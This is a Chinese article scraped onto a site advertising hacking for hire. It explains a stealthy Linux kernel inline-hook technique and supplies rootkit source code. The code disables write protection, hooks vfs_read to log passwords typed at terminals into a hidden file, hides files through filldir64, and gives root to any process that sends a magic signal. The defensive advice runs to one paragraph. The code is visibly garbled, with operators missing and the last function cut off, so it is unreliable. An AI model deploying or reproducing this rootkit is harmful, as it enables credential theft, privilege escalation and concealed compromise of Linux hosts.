黑客24小时接单的黑客网站

黑客接单的网站,黑客网站,黑客技术,破解密码,破解技术

高级Linux Kernel Inline Hook技术分析与实现

一、概述

现阶段受欢迎和成熟稳重的kernel inline hook技术便是改动内核函数的opcode,根据载入jmp或push ret等指令跳转到新的内核函数中,进而实现改动或过虑的作用。这种技术的相同点便是都是会遮盖原来的指令,那样极易在函数中根据搜索jmp,push ret等指令来查出,因而这类inline hook方法不足隐敝。文中将应用一种高級inline hook技术来完成更隐敝的inlinehook技术。

二、变更offset完成跳转

怎样不给函数加上或遮盖新指令,就能跳转到咱们新的内核函数中去呢?我们知道完成一个系统进程的函数中不太可能把全部作用都是在这一函数中所有完成,它必然要启用它的下层函数。假如这一下层函数还可以获得大家需要的过虑信息内容等內容得话,就可以把下层函数在顶层函数中的offset换成大家新的函数的offset,那样顶层函数启用下层函数时,便会跳到咱们新的函数中,在新的函数中做过虑和挟持內容的工作中。基本原理是如此的,实际来剖析它该怎么完成, 大家去看看看sys_read的主要完成:

linux-2.6.18/fs/read_write.c
asmlinkage ssize_t sys_read(unsigned int fd, char ._user * buf, size_t count)
{
struct file *file;ssize_t ret = -EBADF;int fput_needed;

file = fget_light(fd, &fput_needed);if (file) {loff_t pos = file_pos_read(file);ret = vfs_read(file, buf, count, &pos);file_pos_write(file, pos);fput_light(file, fput_needed);}
return ret;}
EXPORT_SYMBOL_GPL(sys_read);

大家见到sys_read最后是要启用下层函数vfs_read来进行接收数据的实际操作,因此大家不用给sys_read加上或遮盖指令, 反而是要变更vfs_read在sys_read编码中的offset就可以跳转到咱们新的new_vfs_read中来。如何修改vfs_read的offset呢?先反编译下sys_read看一下:

[root@xsec linux-2.6.18]# gdb -q vmlinux
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass sys_read
Dump of assembler code for function sys_read:
0xc106dc5a : push �p
0xc106dc5b : mov %esp,�p
0xc106dc5d : push %esi
0xc106dc5e : mov $0xfffffff7,%esi
0xc106dc63 : push �x
0xc106dc64 : sub $0xc,%esp
0xc106dc67 : mov 0x8(�p),�x
0xc106dc6a : lea 0xfffffff4(�p),�x
0xc106dc6d : call 0xc106e16c
0xc106dc72 : test �x,�x
0xc106dc74 : mov �x,�x
0xc106dc76 : je 0xc106dcb1
0xc106dc78 : mov 0x24(�x),�x
0xc106dc7b : mov 0x20(�x),�x
0xc106dc7e : mov 0x10(�p),�x
0xc106dc81 : mov �x,0xfffffff0(�p)
0xc106dc84 : mov 0xc(�p),�x
0xc106dc87 : mov �x,0xffffffec(�p)
0xc106dc8a : lea 0xffffffec(�p),�x
0xc106dc8d : push �x
0xc106dc8e : mov �x,�x
0xc106dc90 : call 0xc106d75c
0xc106dc95 : mov 0xfffffff0(�p),�x
0xc106dc98 : mov �x,%esi
0xc106dc9a : mov 0xffffffec(�p),�x
0xc106dc9d : mov �x,0x24(�x)
0xc106dca0 : mov �x,0x20(�x)
0xc106dca3 : cmpl $0x0,0xfffffff4(�p)
0xc106dca7 : pop �x
0xc106dca8 : je 0xc106dcb1
0xc106dcaa : mov �x,�x
0xc106dcac : call 0xc106e107
0xc106dcb1 : lea 0xfffffff8(�p),%esp
0xc106dcb4 : mov %esi,�x
0xc106dcb6 : pop �x
0xc106dcb7 : pop %esi
0xc106dcb8 : pop �p
0xc106dcb9 : ret
End of assembler dump.
(gdb)

0xc106dc90 : call 0xc106d75c

根据call指令来跳转到vfs_read中来。0xc106d75c是vfs_read的基址。因此只需把这个详细地址换成大家的新函数详细地址,当sys_read实行这方面的情况下,便会跳转到咱们的函数来啦。

下边得出我写的一个hook模块,来进行搜索和更换offset的作用。基本原理便是检索sys_read的opcode,假如看到是call指令,依据call后边的offset再次测算要跳转的详细地址是否我们要hook的函数详细地址,如果是就再次测算新函数的offset,用新的offset更换以前的offset。进而进行跳转作用。

主要参数handler是顶层函数的详细地址,这儿便是sys_read的详细地址,old_func是要更换的函数详细地址,这儿便是vfs_read, new_func是新函数的详细地址,这儿便是new_vfs_read的详细地址。

unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
unsigned int new_func){
unsigned char *p = (unsigned char *)handler;
unsigned char buf[4] = "\x00\x00\x00\x00";
unsigned int offset = 0;
unsigned int orig = 0;
int i = 0;

DbgPrint("\n*** hook engine: start patch func at: 0xx\n", old_func);

while (1) {if (i > 512)return 0;
if (p[0] == 0xe8) {DbgPrint("*** hook engine: found opcode 0xx\n", p[0]);

DbgPrint("*** hook engine: call addr: 0xx\n",
(unsigned int)p);
buf[0] = p[1];
buf[1] = p[2];
buf[2] = p[3];
buf[3] = p[4];

DbgPrint("*** hook engine: 0xx 0xx 0xx 0xx\n",
p[1], p[2], p[3], p[4]);

offset = *(unsigned int *)buf;
DbgPrint("*** hook engine: offset: 0xx\n", offset);

orig = offset (unsigned int)p 5;
DbgPrint("*** hook engine: original func: 0xx\n", orig);if (orig == old_func) {DbgPrint("*** hook engine: found old func at"" 0xx\n", old_func);DbgPrint("%d\n", i);break;}}p ;i ;}

offset = new_func - (unsigned int)p - 5;
DbgPrint("*** hook engine: new func offset: 0xx\n", offset);

p[1] = (offset & 0x000000ff);
p[2] = (offset & 0x0000ff00) >> 8;
p[3] = (offset & 0x00ff0000) >> 16;
p[4] = (offset & 0xff000000) >> 24;

DbgPrint("*** hook engine: pachted new func offset.\n");

return orig;}

应用这些方式,大家仅改了函数的一个offset,沒有加上和更改一切指令,传统式的inline hook查验构思都早已无效。

三、填补

这类根据改动offset的来完成跳转的方式,必须了解顶层函数的详细地址,在上面的案例中sys_read和vfs_read在内核里都是导出来的,因而可以直接引用他们的详细地址。可是要是想hook沒有导出来的函数时,不但要了解顶层函数的详细地址,还需要了解下层函数的详细地址。因而给rootkit的安裝略微带了点不便。但是,可以根据载入/proc/kallsyms或system map来搜索函数详细地址。

四、怎样杀毒

这类inline hook技术改变的仅仅函数的offset, 并没加上传统式的jmp, push ret等指令,因此传统式的inline hook检验技术基本上无效。我想起的一种解决方案便是对一些函数的offset做备份数据,随后必须的情况下与目前的offset开展较为,如果不相同很有可能设备就中了这类类别的rootkit。 假如您有好的念头可以根据mail和我一同沟通交流。

五、案例

下边是hook sys_read的一些编码完成,阅读者可以依据构思来填补详细。

========
config.h

#ifndef CONFIG_H
#define CONFIG_H

#define SNIFF_LOG"/tmp/.sniff_log"
#define KALL_SYMS_NAME"/proc/kallsyms"

#define HIDE_FILE"test"

#define MAGIC_PID12345
#define MAGIC_SIG58
#endi

======
hook.h

#ifndef HOOK_H
#define HOOK_H

#define HOOK_VERSION0.1

#define HOOK_DEBUG

#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \
printk("hook: function:%s-L%d: "format, ._FUNCTION__, ._LINE__, ##args);
#else
#define DbgPrint(format, args...) do {} while(0);
#endif

#define SYS_REPLACE(x) orig_##x = sys_call_table[._NR_##x];\
sys_call_table[__NR_##x] = new_##x

#define SYS_RESTORE(x)sys_call_table[._NR_##x] = orig_##x

#define CLEAR_CR0asm ("pushl �x\n\t" \
"movl %cr0, �x\n\t"\
"andl $0xfffeffff, �x\n\t" \
"movl �x, %cr0\n\t"\
"popl �x");

#define SET_CR0asm ("pushl �x\n\t" \
"movl %cr0, �x\n\t" \
"orl $0x00010000, �x\n\t" \
"movl �x, %cr0\n\t"\
"popl �x");

struct descriptor_idt
{
unsigned short offset_low;
unsigned short ignore1;
unsigned short ignore2;
unsigned short offset_high;
};

static struct {
unsigned short limit;
unsigned long base;
}__attribute._ ((packed)) idt48;

void **sys_call_table;

asmlinkage ssize_t new_read(unsigned int fd, char __user * buf, size_t count);
asmlinkage ssize_t (*orig_read)(unsigned int fd, char ._user * buf, size_t count);

#endif

========
k_file.h

#ifndef TTY_SNIFF_H
#define TTY_SNIFF_H

#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }

#define BEGIN_ROOT int saved_fsuid = current->fsuid; \
current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid;

#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)

#define READABLE(f) (f->f_op && f->f_op->read)
#define _read(f, buf, sz) (f->f_op->read(f, buf, sz, &f->f_pos))

#define WRITABLE(f) (f->f_op && f->f_op->write)
#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))

#define TTY_READ(tty, buf, count) (*tty->driver->read)(tty, 0, \
buf, count)

#define TTY_WRITE(tty, buf, count) (*tty->driver->write)(tty, 0, \
buf, count)

int write_to_file(char *logfile, char *buf, int size);

#endif

========
k_file.c

#include
#include
#include
#include
#include
#include
#include
#include
#include

#include "k_file.h"

int write_to_file(char *logfile, char *buf, int size)
{
mm_segment_t old_fs;
struct file *f = NULL;
int ret = 0;

old_fs = get_fs();
set_fs(get_ds());

BEGIN_ROOT
f = filp_open(logfile, O_CREAT | O_APPEND, 00600);
if (IS_ERR(f)) {
printk("Error %ld opening %s\n", -PTR_ERR(f), logfile);
set_fs(old_fs);
END_ROOT

ret = -1;
} else {
if (WRITABLE(f)) {
_write(f, buf, size);
}
else {
printk("%s does not have a write method\n", logfile);
set_fs(old_fs);
END_ROOT

ret = -1;
}

if ((ret = filp_close(f,NULL)))
printk("Error %d closing %s\n", -ret, logfile);
}

set_fs(old_fs);
END_ROOT

return ret;
}

==========
get_time.c

#include
#include
#include
#include
#include
#include

/* Macros used to get local time */

#define SECS_PER_HOUR (60 * 60)
#define SECS_PER_DAY (SECS_PER_HOUR * 24)
#define isleap(year) \
((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) DIV (y, 400))

struct vtm
{
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
};

int timezone;

int epoch2time(const time_t * t, long int offset, struct vtm *tp)
{
static const unsigned short int mon_yday[2][13] = {
/* Normal years. */
{0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365},
/* Leap years. */
{0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366}
};

long int days, rem, y;
const unsigned short int *ip;

days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem = offset;
while (rem rem = SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;

while (days = (isleap(y) ? 366 : 365)) {
long int yg = y days / 365 - (days % 365 days -= ((yg - y) * 365 LEAPS_THRU_END_OF(yg - 1)
- LEAPS_THRU_END_OF(y - 1));
y = yg;
}
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days continue;
days -= ip[y];
tp->tm_mon = y;
tp->tm_mday = days 1;
return 1;
}

/*
* Get current date & time
*/

void get_time(char *date_time)
{
struct timeval tv;
time_t t;
struct vtm tm;

do_gettimeofday(&tv);
t = (time_t) tv.tv_sec;

epoch2time(&t, timezone, &tm);

sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
tm.tm_mon 1, tm.tm_year 1900, tm.tm_hour, tm.tm_min,
tm.tm_sec);
}

===========
hide_file.c

#include
#include
#include
#include
#include
#include
#include
#include
#include

#include "config.h"

#define ROUND_UP64(x) (((x) sizeof(u64)-1) & ~(sizeof(u64)-1))
#define NAME_OFFSET(de) ((int) ((de)->d_name - (char ._user *) (de)))

struct getdents_callback64 {
struct linux_dirent64 __user * current_dir;
struct linux_dirent64 ._user * previous;
int count;
int error;
};

int new_filldir64(void * __buf, const char * name, int namlen, loff_t offset,
ino_t ino, unsigned int d_type)
{
struct linux_dirent64 ._user *dirent;
struct getdents_callback64 * buf = (struct getdents_callback64 *) __buf;
int reclen = ROUND_UP64(NAME_OFFSET(dirent) namlen 1);

buf->error = -EINVAL; /* only used if we fail.. */
if (reclen > buf->count)
return -EINVAL;
dirent = buf->previous;
if (dirent) {
if (strstr(name, HIDE_FILE) != NULL) {
return 0;
}

if (._put_user(offset, &dirent->d_off))
goto efault;
}
dirent = buf->current_dir;

if (strstr(name, HIDE_FILE) != NULL) {
return 0;
}

if (__put_user(ino, &dirent->d_ino))
goto efault;
if (._put_user(0, &dirent->d_off))
goto efault;
if (__put_user(reclen, &dirent->d_reclen))
goto efault;
if (._put_user(d_type, &dirent->d_type))
goto efault;
if (copy_to_user(dirent->d_name, name, namlen))
goto efault;
if (__put_user(0, dirent->d_name namlen))
goto efault;
buf->previous = dirent;
dirent = (void ._user *)dirent reclen;
buf->current_dir = dirent;
buf->count -= reclen;
return 0;
efault:
buf->error = -EFAULT;
return -EFAULT;
}

======
hook.c
/*
My hook engine v0.20

by wzt

tested on amd64 as5, x86 as4,5
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include "syscalls.h"
#include "config.h"
#include "k_file.h"
#include "hide_file.h"
#include "hook.h"

#define READ_NUM200

extern int write_to_file(char *logfile, char *buf, int size);

ssize_t (*orig_vfs_read)(struct file *file, char ._user *buf, size_t count,
loff_t *pos);
int (*orig_kill_something_info)(int sig, struct siginfo *info, int pid);

unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;

unsigned int sys_read_addr = 0;
unsigned int sys_getdents64_addr = 0;
unsigned int sys_kill_addr = 0;
unsigned int kill_something_info_addr = 0;

int hook_kill_something_info_flag = 1;
int hook_vfs_read_flag = 1;

spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;

unsigned int filldir64_addr = 0;
unsigned char old_filldir64_opcode[5];

unsigned int get_sct_addr(void)
{
int i = 0, ret = 0;

for (; i if ((*(unsigned char*)(system_call_addr i) == 0xff)
&& (*(unsigned char *)(system_call_addr i 1) == 0x14)
&& (*(unsigned char *)(system_call_addr i 2) == 0x85)) {
ret = *(unsigned int *)(system_call_addr i 3);
break;
}
}

return ret;
}

unsigned int find_kernel_symbol(char *symbol_name, char *search_file)
{
mm_segment_t old_fs;
ssize_t bytes;
struct file *file = NULL;
char read_buf[500];
char *p, tmp[20];
unsigned int addr = 0;
int i = 0;

file = filp_open(search_file, O_RDONLY, 0);
if (!file)
return -1;

if (!file->f_op->read)
return -1;

old_fs = get_fs();
set_fs(get_ds());

while ((bytes = file->f_op->read(file, read_buf, 500, &file->f_pos))) {
if ((p = strstr(read_buf, symbol_name)) != NULL) {
while (*p--)
if (*p == '\n')
break;

while (*p != ' ') {
tmp[i ] = *p;
}
tmp[--i] = '\0';

addr = simple_strtoul(tmp, NULL, 16);
DbgPrint("find %s at: 0x%8x\n", symbol_name, addr);

break;
}
}


filp_close(file,NULL);
set_fs(old_fs);

return addr;
}

unsigned int try_find_kernel_symbol(char *symbol_name, char *search_file,
int search_num)
{
unsigned int addr = 0;
int i = 0;

for (i = 0; i addr = find_kernel_symbol(symbol_name, search_file);
if (addr)
break;
}

return addr;
}

ssize_t new_vfs_read(struct file *file, char ._user *buf, size_t count,
loff_t *pos)
{
ssize_t ret;

ret = (*orig_vfs_read)(file, buf, count, pos);
if (ret > 0) {
struct task_struct *tsk = current;
struct tty_struct *tty = NULL;

tty = tsk->signal->tty;
if (tty && IS_PASSWD(tty)) {
char *tmp_buf = NULL, buff[READ_NUM];

if (ret > READ_NUM)
return ret;

tmp_buf = (char *)kmalloc(ret, GFP_ATOMIC);
if (!tmp_buf)
return ret;

copy_from_user(tmp_buf, buf, ret);

snprintf(buff, sizeof(buff),
"\t--\tpasswd: %s\n", tsk->comm,
tmp_buf);
write_to_file(SNIFF_LOG, buff, strlen(buff));

kfree(tmp_buf);
}
}

return ret;
}

int new_kill_something_info(int sig, struct siginfo *info, int pid)
{
struct task_struct *tsk = current;
int ret;

if ((MAGIC_PID == pid) && (MAGIC_SIG == sig)) {
tsk->uid = 0;
tsk->euid = 0;
tsk->gid = 0;
tsk->egid = 0;

return 0;
}
else {
ret = (*orig_kill_something_info)(sig, info, pid);

return ret;
}
}

unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
unsigned int new_func)
{
unsigned char *p = (unsigned char *)handler;
unsigned char buf[4] = "\x00\x00\x00\x00";
unsigned int offset = 0;
unsigned int orig = 0;
int i = 0;

DbgPrint("\n*** hook engine: start patch func at: 0xx\n", old_func);

while (1) {
if (i > 512)
return 0;

if (p[0] == 0xe8) {
DbgPrint("*** hook engine: found opcode 0xx\n", p[0]);

DbgPrint("*** hook engine: call addr: 0xx\n",
(unsigned int)p);
buf[0] = p[1];
buf[1] = p[2];
buf[2] = p[3];
buf[3] = p[4];

DbgPrint("*** hook engine: 0xx 0xx 0xx 0xx\n",
p[1], p[2], p[3], p[4]);

offset = *(unsigned int *)buf;
DbgPrint("*** hook engine: offset: 0xx\n", offset);

orig = offset (unsigned int)p 5;
DbgPrint("*** hook engine: original func: 0xx\n", orig);

if (orig == old_func) {
DbgPrint("*** hook engine: found old func at"
" 0xx\n",
old_func);

DbgPrint("%d\n", i);
break;}}
p ;
i ;
}

offset = new_func - (unsigned int)p - 5;
DbgPrint("*** hook engine: new func offset: 0xx\n", offset);

p[1] = (offset & 0x000000ff);
p[2] = (offset & 0x0000ff00) >> 8;
p[3] = (offset & 0x00ff0000) >> 16;
p[4] = (offset & 0xff000000) >> 24;

DbgPrint("*** hook engine: pachted new func offset.\n");

return orig;}

static int inline_hook_func(unsigned int old_func, unsigned int new_func,
unsigned char *old_opcode)
{ unsigned char *buf;
unsigned int p;
int i;

buf = (unsigned char *)old_func;
memcpy(old_opcode, buf, 5);

p = (unsigned int)new_func - (unsigned int)old_func - 5;
buf[0] = 0xe9;
memcpy(buf 1, &p, 4);
}

static int restore_inline_hook(unsigned int old_func, unsigned char *old_opcode)
{
unsigned char *buf;

buf = (unsigned char *)old_func;
memcpy(buf, old_opcode, 5);
}

static int hook_init(void)
{
struct descriptor_idt *pIdt80;

._asm__ volatile ("sidt %0": "=m" (idt48));

pIdt80 = (struct descriptor_idt *)(idt48.base 8*0x80);

system_call_addr = (pIdt80->offset_high

  • 评论列表:
  •  忿咬卿绡
     发布于 2022-06-11 01:03:12  回复该评论
  • #ifdef HOOK_DEBUG#define DbgPrint(format, args...) \ printk("hook: function:%s-L%d: "format, ._FUNCTION__, ._LINE__, ##args);#els
  •  绿邪纯乏
     发布于 2022-06-11 02:08:19  回复该评论
  • bol_name, char *search_file, int search_num){unsigned int addr = 0;int i = 0;for (i = 0; i

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.